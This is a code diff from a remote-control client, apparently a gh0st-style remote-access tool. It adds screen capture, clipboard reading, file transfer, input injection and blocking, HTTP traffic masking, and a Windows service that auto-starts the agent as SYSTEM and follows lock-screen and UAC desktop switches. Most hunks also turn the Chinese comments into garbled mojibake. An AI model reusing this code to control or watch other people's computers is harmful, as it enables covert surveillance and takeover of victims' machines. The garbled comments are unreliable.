//杩欓噷灏哹mp浣嶅浘缁撴瀯鍙戦佸嚭鍘 memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server((char*)szBuffer, ulLength, 0); @@ -312,7 +344,7 @@ VOID CScreenManager::SendBitMapInfo() CScreenManager::~CScreenManager() { - Mprintf("ScreenManager 析构函数\n"); + Mprintf("ScreenManager 鏋愭瀯鍑芥暟\n"); UninitFileUpload(); m_bIsWorking = FALSE; @@ -332,7 +364,7 @@ void RunFileReceiver(CScreenManager *mgr, const std::string &folder) IOCPClient* pClient = new IOCPClient(mgr->g_bExit, true, MaskTypeNone, mgr->m_conn->GetHeaderEncType()); if (pClient->ConnectServer(mgr->m_ClientObject->ServerIP().c_str(), mgr->m_ClientObject->ServerPort())) { pClient->setManagerCallBack(mgr, CManager::DataProcess); - // 发送目录并准备接收文件 + // 鍙戦佺洰褰曞苟鍑嗗鎺ユ敹鏂囦欢 char cmd[300] = { COMMAND_GET_FILE }; memcpy(cmd + 1, folder.c_str(), folder.length()); pClient->Send2Server(cmd, sizeof(cmd)); @@ -379,12 +411,12 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_SCREEN_CONTROL: { BlockInput(false); ProcessCommand(szBuffer + 1, ulLength - 1); - BlockInput(m_bIsBlockInput); //再恢复成用户的设置 + BlockInput(m_bIsBlockInput); //鍐嶆仮澶嶆垚鐢ㄦ埛鐨勮缃 break; } - case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread里锁定 - m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //鼠标键盘的锁定 + case COMMAND_SCREEN_BLOCK_INPUT: { //ControlThread閲岄攣瀹 + m_bIsBlockInput = *(LPBYTE)&szBuffer[1]; //榧犳爣閿洏鐨勯攣瀹 BlockInput(m_bIsBlockInput); @@ -425,7 +457,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case COMMAND_GET_FILE: { - // 发送文件 + // 鍙戦佹枃浠 auto files = GetClipboardFiles(); std::string dir = (char*)(szBuffer + 1); if (!files.empty() && !dir.empty()) { @@ -440,7 +472,7 @@ VOID CScreenManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } case COMMAND_SEND_FILE: { - // 接收文件 + // 鎺ユ敹鏂囦欢 int n = RecvFileChunk((char*)szBuffer, ulLength, m_conn, RecvData, m_hash, m_hmac); if (n) { Mprintf("RecvFileChunk failed: %d. hash: %s, hmac: %s\n", n, m_hash.c_str(), m_hmac.c_str()); @@ -476,15 +508,15 @@ VOID CScreenManager::UpdateClientClipboard(char *szBuffer, ULONG ulLength) VOID CScreenManager::SendClientClipboard() { - if (!::OpenClipboard(NULL)) //打开剪切板设备 + if (!::OpenClipboard(NULL)) //鎵撳紑鍓垏鏉胯澶 return; - HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //代表着一个内存 + HGLOBAL hGlobal = GetClipboardData(CF_TEXT); //浠h〃鐫涓涓唴瀛 if (hGlobal == NULL) { ::CloseClipboard(); return; } size_t iPacketLength = GlobalSize(hGlobal) + 1; - char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //锁定 + char* szClipboardVirtualAddress = (LPSTR) GlobalLock(hGlobal); //閿佸畾 LPBYTE szBuffer = new BYTE[iPacketLength]; @@ -526,7 +558,7 @@ VOID CScreenManager::SendNextScreen(const char* szBuffer, ULONG ulNextSendLength std::string GetTitle(HWND hWnd) { - char title[256]; // 预留缓冲区 + char title[256]; // 棰勭暀缂撳啿鍖 GetWindowTextA(hWnd, title, sizeof(title)); return title; } @@ -534,20 +566,20 @@ std::string GetTitle(HWND hWnd) VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) { int msgSize = sizeof(MSG64); - if (ulLength % 28 == 0) // 32位控制端发过来的消息 + if (ulLength % 28 == 0) // 32浣嶆帶鍒剁鍙戣繃鏉ョ殑娑堟伅 msgSize = 28; - else if (ulLength % 48 == 0) // 64位控制端发过来的消息 + else if (ulLength % 48 == 0) // 64浣嶆帶鍒剁鍙戣繃鏉ョ殑娑堟伅 msgSize = 48; - else return; // 数据包不合法 + else return; // 鏁版嵁鍖呬笉鍚堟硶 - // 命令个数 + // 鍛戒护涓暟 ULONG ulMsgCount = ulLength / msgSize; - // 处理多个命令 + // 澶勭悊澶氫釜鍛戒护 BYTE* ptr = szBuffer; MSG32 msg32; MSG64 msg64; - if (g_hDesk) { + if (m_virtual) { HWND hWnd = NULL; BOOL mouseMsg = FALSE; POINT lastPointCopy = {}; @@ -575,25 +607,25 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) lastPointCopy = m_lastPoint; m_lastPoint = m_point; if (msg->message == WM_RBUTTONDOWN) { - // 记录右键按下时的坐标 + // 璁板綍鍙抽敭鎸変笅鏃剁殑鍧愭爣 m_rmouseDown = TRUE; m_rclickPoint = msg->pt; } else if (msg->message == WM_RBUTTONUP) { m_rmouseDown = FALSE; m_rclickWnd = WindowFromPoint(m_rclickPoint); - // 检查是否为系统菜单(如任务栏) + // 妫鏌ユ槸鍚︿负绯荤粺鑿滃崟锛堝浠诲姟鏍忥級 char szClass[256] = {}; GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); if (strcmp(szClass, "Shell_TrayWnd") == 0) { - // 触发系统级右键菜单(任务栏) + // 瑙﹀彂绯荤粺绾у彸閿彍鍗曪紙浠诲姟鏍忥級 PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); } else { - // 普通窗口的右键菜单 + // 鏅氱獥鍙g殑鍙抽敭鑿滃崟 if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { - // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) + // 闄勫姞锛氭ā鎷熼敭鐩樻寜涓婼hift+F10锛堝鐢ㄨ彍鍗曡Е鍙戞柟寮忥級 keybd_event(VK_SHIFT, 0, 0, 0); keybd_event(VK_F10, 0, 0, 0); keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); @@ -614,17 +646,17 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) lResult = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam); break; } - case HTCLOSE: {// 关闭窗口 + case HTCLOSE: {// 鍏抽棴绐楀彛 PostMessageA(hWnd, WM_CLOSE, 0, 0); Mprintf("Close window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } - case HTMINBUTTON: {// 最小化 + case HTMINBUTTON: {// 鏈灏忓寲 PostMessageA(hWnd, WM_SYSCOMMAND, SC_MINIMIZE, 0); Mprintf("Minsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd); break; } - case HTMAXBUTTON: {// 最大化 + case HTMAXBUTTON: {// 鏈澶у寲 WINDOWPLACEMENT windowPlacement; windowPlacement.length = sizeof(windowPlacement); GetWindowPlacement(hWnd, &windowPlacement); @@ -643,7 +675,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) HWND hStartButton = FindWindowA((PCHAR)"Button", NULL); GetWindowRect(hStartButton, &startButtonRect); if (PtInRect(&startButtonRect, m_point)) { - PostMessageA(hStartButton, BM_CLICK, 0, 0); // 模拟开始按钮点击 + PostMessageA(hStartButton, BM_CLICK, 0, 0); // 妯℃嫙寮濮嬫寜閽偣鍑 continue; } else { char windowClass[MAX_PATH] = { 0 }; @@ -744,6 +776,33 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) } return; } + if (IsRunAsService()) { + // 鑾峰彇褰撳墠娲诲姩妗岄潰锛堝甫鍐欐潈闄愶紝鐢ㄤ簬閿佸睆绛夊畨鍏ㄦ闈級 + // 浣跨敤鐙珛鐨勯潤鎬佸彉閲忛伩鍏嶄笌WorkThreadProc鐨刧_hDesk骞跺彂鍐茬獊 + static HDESK s_inputDesk = NULL; + static clock_t s_lastCheck = 0; + static DWORD s_lastThreadId = 0; + const int CHECK_INTERVAL = 100; // 妗岄潰妫娴嬮棿闅旓紙ms锛夛紝蹇熷搷搴旈攣灞/UAC鍒囨崲 + + // 棣栨璋冪敤鎴栧畾鏈熸娴嬫闈㈡槸鍚﹀彉鍖栵紙闄嶄綆棰戠巼锛岄伩鍏嶆瘡娆¤緭鍏ラ兘妫娴嬶級 + auto now = clock(); + if (!s_inputDesk || now - s_lastCheck > CHECK_INTERVAL) { + s_lastCheck = now; + if (SwitchToDesktopIfChanged(s_inputDesk, DESKTOP_WRITEOBJECTS | GENERIC_WRITE)) { + // 妗岄潰鍙樺寲鏃讹紝鏍囪闇瑕侀噸鏂拌缃嚎绋嬫闈 + s_lastThreadId = 0; + } + } + + // 纭繚褰撳墠绾跨▼鍦ㄦ纭殑妗岄潰涓婏紙浠呴娆℃垨绾跨▼鍙樺寲鏃惰缃級 + if (s_inputDesk) { + DWORD currentThreadId = GetCurrentThreadId(); + if (currentThreadId != s_lastThreadId) { + SetThreadDesktop(s_inputDesk); + s_lastThreadId = currentThreadId; + } + } + } for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) { MSG64* Msg = msgSize == 48 ? (MSG64*)ptr : (MSG64*)msg64.Create(msg32.Create(ptr, msgSize)); @@ -773,7 +832,7 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) break; } - switch(Msg->message) { //端口发加快递费 + switch(Msg->message) { //绔彛鍙戝姞蹇掕垂 case WM_LBUTTONDOWN: mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); break; @@ -805,13 +864,25 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0); break; case WM_KEYDOWN: - case WM_SYSKEYDOWN: - keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0); + case WM_SYSKEYDOWN: { + INPUT input = { 0 }; + input.type = INPUT_KEYBOARD; + input.ki.wVk = (WORD)Msg->wParam; + input.ki.wScan = MapVirtualKey(Msg->wParam, 0); + input.ki.dwFlags = 0; + SendInput(1, &input, sizeof(INPUT)); break; + } case WM_KEYUP: - case WM_SYSKEYUP: - keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0); + case WM_SYSKEYUP: { + INPUT input = { 0 }; + input.type = INPUT_KEYBOARD; + input.ki.wVk = (WORD)Msg->wParam; + input.ki.wScan = MapVirtualKey(Msg->wParam, 0); + input.ki.dwFlags = KEYEVENTF_KEYUP; + SendInput(1, &input, sizeof(INPUT)); break; + } default: break; } diff --git a/client/ScreenManager.h b/client/ScreenManager.h index 7a7cffa..8fce395 100644 --- a/client/ScreenManager.h +++ b/client/ScreenManager.h @@ -39,6 +39,7 @@ public: VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength); INT_PTR m_ptrUser; HDESK g_hDesk; + BOOL m_isGDI; std::string m_DesktopID; BOOL m_bIsWorking; BOOL m_bIsBlockInput; @@ -52,7 +53,11 @@ public: { m_conn = conn; } + bool IsRunAsService() const { + return m_conn ? m_conn->iStartup == Startup_GhostMsc : false; + } // 虚拟桌面 + BOOL m_virtual; POINT m_point; POINT m_lastPoint; BOOL m_lmouseDown; diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index c89fc9f..6f2651c 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -9,7 +9,7 @@ #pragma once #endif // _MSC_VER > 1000 -#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7) +#define COPY_ALL 1 // 鎷疯礉鍏ㄩ儴灞忓箷锛屼笉鍒嗗潡鎷疯礉锛坅dded by yuanyuanxiang 2019-1-7锛 #include "CursorInfo.h" #include "ScreenCapture.h" @@ -83,15 +83,15 @@ private: class CScreenSpy : public ScreenCapture { protected: - HDC m_hDeskTopDC; // 屏幕上下文 - HDC m_hFullMemDC; // 上一个上下文 - HDC m_hDiffMemDC; // 差异上下文 - HBITMAP m_BitmapHandle; // 上一帧位图 - HBITMAP m_DiffBitmapHandle; // 差异帧位图 - PVOID m_BitmapData_Full; // 当前位图数据 - PVOID m_DiffBitmapData_Full; // 差异位图数据 + HDC m_hDeskTopDC; // 灞忓箷涓婁笅鏂 + HDC m_hFullMemDC; // 涓婁竴涓笂涓嬫枃 + HDC m_hDiffMemDC; // 宸紓涓婁笅鏂 + HBITMAP m_BitmapHandle; // 涓婁竴甯т綅鍥 + HBITMAP m_DiffBitmapHandle; // 宸紓甯т綅鍥 + PVOID m_BitmapData_Full; // 褰撳墠浣嶅浘鏁版嵁 + PVOID m_DiffBitmapData_Full; // 宸紓浣嶅浘鏁版嵁 - BOOL m_bVirtualPaint;// 是否虚拟绘制 + BOOL m_bVirtualPaint;// 鏄惁铏氭嫙缁樺埗 EnumHwndsPrintData m_data; public: @@ -198,6 +198,14 @@ public: } VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight); + + // 閲嶇疆妗岄潰 DC锛堟闈㈠垏鎹㈡椂璋冪敤锛 + void ResetDesktopDC() + { + ReleaseDC(NULL, m_hDeskTopDC); + m_hDeskTopDC = GetDC(NULL); + m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight); + } }; #endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_) diff --git a/client/ServiceWrapper.c b/client/ServiceWrapper.c new file mode 100644 index 0000000..83aef1b --- /dev/null +++ b/client/ServiceWrapper.c @@ -0,0 +1,515 @@ +#include "ServiceWrapper.h" +#include "SessionMonitor.h" +#include + +#ifndef Mprintf +#ifdef _DEBUG +#define Mprintf printf +#else +#define Mprintf(format, ...) +#endif +#endif + +// 澶栭儴澹版槑 +extern BOOL RunAsAgent(BOOL block); + +// 闈欐佸彉閲 +BOOL g_ServiceDirectMode = FALSE; +static SERVICE_STATUS g_ServiceStatus; +static SERVICE_STATUS_HANDLE g_StatusHandle = NULL; +static HANDLE g_StopEvent = INVALID_HANDLE_VALUE; + +// 鍓嶅悜澹版槑 +static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); +static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); +static void ServiceWriteLog(const char* message); + +// 鏃ュ織鍑芥暟 +static void ServiceWriteLog(const char* message) { + FILE* f; + SYSTEMTIME st; + + f = fopen("C:\\GhostService.log", "a"); + if (f) { + GetLocalTime(&st); + fprintf(f, "[%04d-%02d-%02d %02d:%02d:%02d] %s\n", + st.wYear, st.wMonth, st.wDay, + st.wHour, st.wMinute, st.wSecond, + message); + fclose(f); + } +} + +BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* running, + char* exePath, size_t exePathSize) +{ + SC_HANDLE hSCM = NULL; + SC_HANDLE hService = NULL; + BOOL result = FALSE; + SERVICE_STATUS_PROCESS ssp; + DWORD bytesNeeded = 0; + DWORD bufSize = 0; + LPQUERY_SERVICE_CONFIGA pConfig = NULL; + + *registered = FALSE; + *running = FALSE; + if (exePath && exePathSize > 0) { + exePath[0] = '\0'; + } + + // 鎵撳紑 SCM + hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return FALSE; + } + + // 鎵撳紑鏈嶅姟 + hService = OpenServiceA( + hSCM, + SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + if (!hService) { + CloseServiceHandle(hSCM); + return FALSE; // 鏈敞鍐 + } + + *registered = TRUE; + result = TRUE; + + // 鑾峰彇鏈嶅姟鐘舵 + memset(&ssp, 0, sizeof(ssp)); + if (QueryServiceStatusEx( + hService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &bytesNeeded)) + { + *running = (ssp.dwCurrentState == SERVICE_RUNNING); + } + + // 鑾峰彇 EXE 璺緞 + if (exePath && exePathSize > 0) { + QueryServiceConfigA(hService, NULL, 0, &bufSize); + + if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) { + pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize); + + if (pConfig) { + if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) { + strncpy(exePath, pConfig->lpBinaryPathName, exePathSize - 1); + exePath[exePathSize - 1] = '\0'; + } + free(pConfig); + } + } + } + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + return result; +} + +int ServiceWrapper_StartSimple(void) +{ + SC_HANDLE hSCM = NULL; + SC_HANDLE hService = NULL; + BOOL ok; + int err; + + // 鎵撳紑SCM + hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT); + if (!hSCM) { + return (int)GetLastError(); + } + + // 鎵撳紑鏈嶅姟骞跺惎鍔 + hService = OpenServiceA(hSCM, SERVICE_NAME, SERVICE_START); + if (!hService) { + err = (int)GetLastError(); + CloseServiceHandle(hSCM); + return err; + } + + // 鍚姩鏈嶅姟 + ok = StartServiceA(hService, 0, NULL); + err = ok ? ERROR_SUCCESS : (int)GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return err; +} + +int ServiceWrapper_Run(void) +{ + DWORD err; + char buffer[256]; + SERVICE_TABLE_ENTRY ServiceTable[2]; + + ServiceTable[0].lpServiceName = (LPSTR)SERVICE_NAME; + ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain; + ServiceTable[1].lpServiceName = NULL; + ServiceTable[1].lpServiceProc = NULL; + + ServiceWriteLog("========================================"); + ServiceWriteLog("ServiceWrapper_Run() called"); + + if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) { + err = GetLastError(); + sprintf(buffer, "StartServiceCtrlDispatcher failed: %d", (int)err); + ServiceWriteLog(buffer); + return (int)err; + } + return ERROR_SUCCESS; +} + +static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) +{ + HANDLE hThread; + + (void)argc; + (void)argv; + + ServiceWriteLog("ServiceMain() called"); + + g_StatusHandle = RegisterServiceCtrlHandler( + SERVICE_NAME, + ServiceCtrlHandler + ); + + if (g_StatusHandle == NULL) { + ServiceWriteLog("RegisterServiceCtrlHandler failed"); + return; + } + + ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus)); + g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwServiceSpecificExitCode = 0; + g_ServiceStatus.dwCheckPoint = 0; + g_ServiceStatus.dwWaitHint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + + g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (g_StopEvent == NULL) { + ServiceWriteLog("CreateEvent failed"); + g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; + g_ServiceStatus.dwWin32ExitCode = GetLastError(); + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + return; + } + + g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; + g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + ServiceWriteLog("Service is now running"); + + hThread = CreateThread(NULL, 0, ServiceWrapper_WorkerThread, NULL, 0, NULL); + if (hThread) { + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + } + + CloseHandle(g_StopEvent); + + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 3; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + ServiceWriteLog("Service stopped"); +} + +static void WINAPI ServiceCtrlHandler(DWORD ctrlCode) +{ + switch (ctrlCode) { + case SERVICE_CONTROL_STOP: + ServiceWriteLog("SERVICE_CONTROL_STOP received"); + + if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING) + break; + + g_ServiceStatus.dwControlsAccepted = 0; + g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; + g_ServiceStatus.dwWin32ExitCode = 0; + g_ServiceStatus.dwCheckPoint = 4; + g_ServiceStatus.dwWaitHint = 0; + + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + SetEvent(g_StopEvent); + break; + + case SERVICE_CONTROL_INTERROGATE: + SetServiceStatus(g_StatusHandle, &g_ServiceStatus); + break; + + default: + break; + } +} + +// 鏈嶅姟宸ヤ綔绾跨▼ +DWORD WINAPI ServiceWrapper_WorkerThread(LPVOID lpParam) +{ + SessionMonitor monitor; + int heartbeatCount = 0; + char buf[128]; + + (void)lpParam; // 鏈娇鐢ㄥ弬鏁 + + if (g_ServiceDirectMode) { + // 鐩存帴妯″紡锛氬湪鏈嶅姟杩涚▼涓繍琛岋紙SYSTEM鏉冮檺锛 + ServiceWriteLog("Running in DIRECT mode (SYSTEM)"); + RunAsAgent(FALSE); + WaitForSingleObject(g_StopEvent, INFINITE); + return ERROR_SUCCESS; + } + + ServiceWriteLog("========================================"); + ServiceWriteLog("Worker thread started"); + ServiceWriteLog("Service will launch agent in user sessions"); + + // 鍒濆鍖栦細璇濈洃鎺у櫒 + SessionMonitor_Init(&monitor); + + if (!SessionMonitor_Start(&monitor)) { + ServiceWriteLog("ERROR: Failed to start session monitor"); + SessionMonitor_Cleanup(&monitor); + return ERROR_SERVICE_SPECIFIC_ERROR; + } + + ServiceWriteLog("Session monitor started successfully"); + ServiceWriteLog("Agent will be launched automatically"); + + // 涓诲惊鐜紝鍙瓑寰呭仠姝俊鍙 + // SessionMonitor 浼氬湪鍚庡彴鑷姩锛 + // 1. 鐩戞帶浼氳瘽 + // 2. 鍦ㄧ敤鎴蜂細璇濅腑鍚姩 agent.exe + // 3. 鐩戣浠g悊杩涚▼锛屽鏋滈鍑鸿嚜鍔ㄩ噸鍚 + while (WaitForSingleObject(g_StopEvent, 10000) != WAIT_OBJECT_0) { + heartbeatCount++; + if (heartbeatCount % 6 == 0) { // 姣60绉掕褰曚竴娆 + sprintf(buf, "Service heartbeat - uptime: %d minutes", heartbeatCount); + ServiceWriteLog(buf); + } + } + + ServiceWriteLog("Stop signal received"); + ServiceWriteLog("Stopping session monitor..."); + SessionMonitor_Stop(&monitor); + SessionMonitor_Cleanup(&monitor); + + ServiceWriteLog("Worker thread exiting"); + ServiceWriteLog("========================================"); + return ERROR_SUCCESS; +} + +void ServiceWrapper_Install(void) +{ + SC_HANDLE schSCManager; + SC_HANDLE schService; + char szPath[MAX_PATH]; + SERVICE_DESCRIPTION sd; + SERVICE_STATUS status; + DWORD err; + + schSCManager = OpenSCManager( + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); + + if (schSCManager == NULL) { + Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); + Mprintf("Please run as Administrator\n"); + return; + } + + if (!GetModuleFileName(NULL, szPath, MAX_PATH)) { + Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError()); + CloseServiceHandle(schSCManager); + return; + } + + Mprintf("Installing service...\n"); + Mprintf("Executable path: %s\n", szPath); + + schService = CreateService( + schSCManager, + SERVICE_NAME, + SERVICE_DISPLAY, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPath, + NULL, NULL, NULL, NULL, NULL + ); + + if (schService == NULL) { + err = GetLastError(); + if (err == ERROR_SERVICE_EXISTS) { + Mprintf("INFO: Service already exists\n"); + + // 鎵撳紑宸插瓨鍦ㄧ殑鏈嶅姟 + schService = OpenService(schSCManager, SERVICE_NAME, SERVICE_ALL_ACCESS); + if (schService) { + Mprintf("SUCCESS: Service is already installed\n"); + CloseServiceHandle(schService); + } + } + else if (err == ERROR_ACCESS_DENIED) { + Mprintf("ERROR: Access denied. Please run as Administrator\n"); + } + else { + Mprintf("ERROR: CreateService failed (%d)\n", (int)err); + } + CloseServiceHandle(schSCManager); + return; + } + + Mprintf("SUCCESS: Service created successfully\n"); + + // 璁剧疆鏈嶅姟鎻忚堪 + sd.lpDescription = (LPSTR)SERVICE_DESC; + if (ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd)) { + Mprintf("SUCCESS: Service description set\n"); + } + + // 绔嬪嵆鍚姩鏈嶅姟 + Mprintf("Starting service...\n"); + if (StartService(schService, 0, NULL)) { + Mprintf("SUCCESS: Service started successfully\n"); + + // 绛夊緟鏈嶅姟鍚姩 + Sleep(2000); + + // 妫鏌ユ湇鍔$姸鎬 + if (QueryServiceStatus(schService, &status)) { + if (status.dwCurrentState == SERVICE_RUNNING) { + Mprintf("SUCCESS: Service is running\n"); + } + else { + Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState); + } + } + } + else { + err = GetLastError(); + if (err == ERROR_SERVICE_ALREADY_RUNNING) { + Mprintf("INFO: Service is already running\n"); + } + else { + Mprintf("WARNING: StartService failed (%d)\n", (int)err); + Mprintf("You can start it manually using: net start %s\n", SERVICE_NAME); + } + } + + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + + Mprintf("\n=== Installation Complete ===\n"); + Mprintf("Service installed successfully!\n"); + Mprintf("\n"); + Mprintf("IMPORTANT: This is a single-executable design.\n"); + Mprintf("The service will launch '%s -agent' in user sessions.\n", szPath); + Mprintf("\n"); + Mprintf("Logs will be written to:\n"); + Mprintf(" - C:\\GhostService.log (service logs)\n"); + Mprintf(" - C:\\SessionMonitor.log (session monitor logs)\n"); + Mprintf("\n"); + Mprintf("Commands:\n"); + Mprintf(" To verify: sc query %s\n", SERVICE_NAME); + Mprintf(" To start: net start %s\n", SERVICE_NAME); + Mprintf(" To stop: net stop %s\n", SERVICE_NAME); +} + +void ServiceWrapper_Uninstall(void) +{ + SC_HANDLE schSCManager; + SC_HANDLE schService; + SERVICE_STATUS status; + int waitCount; + DWORD err; + + schSCManager = OpenSCManager( + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); + + if (schSCManager == NULL) { + Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); + Mprintf("Please run as Administrator\n"); + return; + } + + schService = OpenService( + schSCManager, + SERVICE_NAME, + SERVICE_STOP | DELETE + ); + + if (schService == NULL) { + Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError()); + Mprintf("Service may not be installed\n"); + CloseServiceHandle(schSCManager); + return; + } + + Mprintf("Stopping service...\n"); + if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) { + Mprintf("Waiting for service to stop"); + Sleep(1000); + + waitCount = 0; + while (QueryServiceStatus(schService, &status) && waitCount < 30) { + if (status.dwCurrentState == SERVICE_STOP_PENDING) { + Mprintf("."); + Sleep(1000); + waitCount++; + } + else { + break; + } + } + Mprintf("\n"); + + if (status.dwCurrentState == SERVICE_STOPPED) { + Mprintf("SUCCESS: Service stopped\n"); + } + else { + Mprintf("WARNING: Service may not have stopped completely\n"); + } + } + else { + err = GetLastError(); + if (err == ERROR_SERVICE_NOT_ACTIVE) { + Mprintf("INFO: Service was not running\n"); + } + else { + Mprintf("WARNING: Failed to stop service (%d)\n", (int)err); + } + } + + Mprintf("Deleting service...\n"); + if (DeleteService(schService)) { + Mprintf("SUCCESS: Service uninstalled successfully\n"); + } + else { + Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError()); + } + + CloseServiceHandle(schService); + CloseServiceHandle(schSCManager); + + Mprintf("\n=== Uninstallation Complete ===\n"); +} diff --git a/client/ServiceWrapper.h b/client/ServiceWrapper.h new file mode 100644 index 0000000..e6a2ea3 --- /dev/null +++ b/client/ServiceWrapper.h @@ -0,0 +1,63 @@ +#ifndef SERVICE_WRAPPER_H +#define SERVICE_WRAPPER_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +// 鏈嶅姟閰嶇疆锛氭牴鎹渶瑕佸彲淇敼杩欎簺鍙傛暟 +#define SERVICE_NAME "RemoteControlService" +#define SERVICE_DISPLAY "Remote Control Service" +#define SERVICE_DESC "Provides remote desktop control functionality" + +/* +# 鍋滄鏈嶅姟 +net stop RemoteControlService + +# 鏌ョ湅鐘舵侊紙搴旇鏄剧ず STOPPED锛 +sc query RemoteControlService + +# 鍚姩鏈嶅姟 +net start RemoteControlService + +# 鍐嶆鏌ョ湅鐘舵侊紙搴旇鏄剧ず RUNNING锛 +sc query RemoteControlService +*/ + +// 鐩存帴妯″紡鏍囧織 +extern BOOL g_ServiceDirectMode; + +// 妫鏌ユ湇鍔$姸鎬 +// 鍙傛暟: +// registered - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚﹀凡娉ㄥ唽 +// running - 杈撳嚭鍙傛暟锛屾湇鍔℃槸鍚︽鍦ㄨ繍琛 +// exePath - 杈撳嚭鍙傛暟锛屾湇鍔″彲鎵ц鏂囦欢璺緞锛堝彲涓篘ULL锛 +// exePathSize - exePath缂撳啿鍖哄ぇ灏 +// 杩斿洖: 鎴愬姛杩斿洖TRUE +BOOL ServiceWrapper_CheckStatus(BOOL* registered, BOOL* 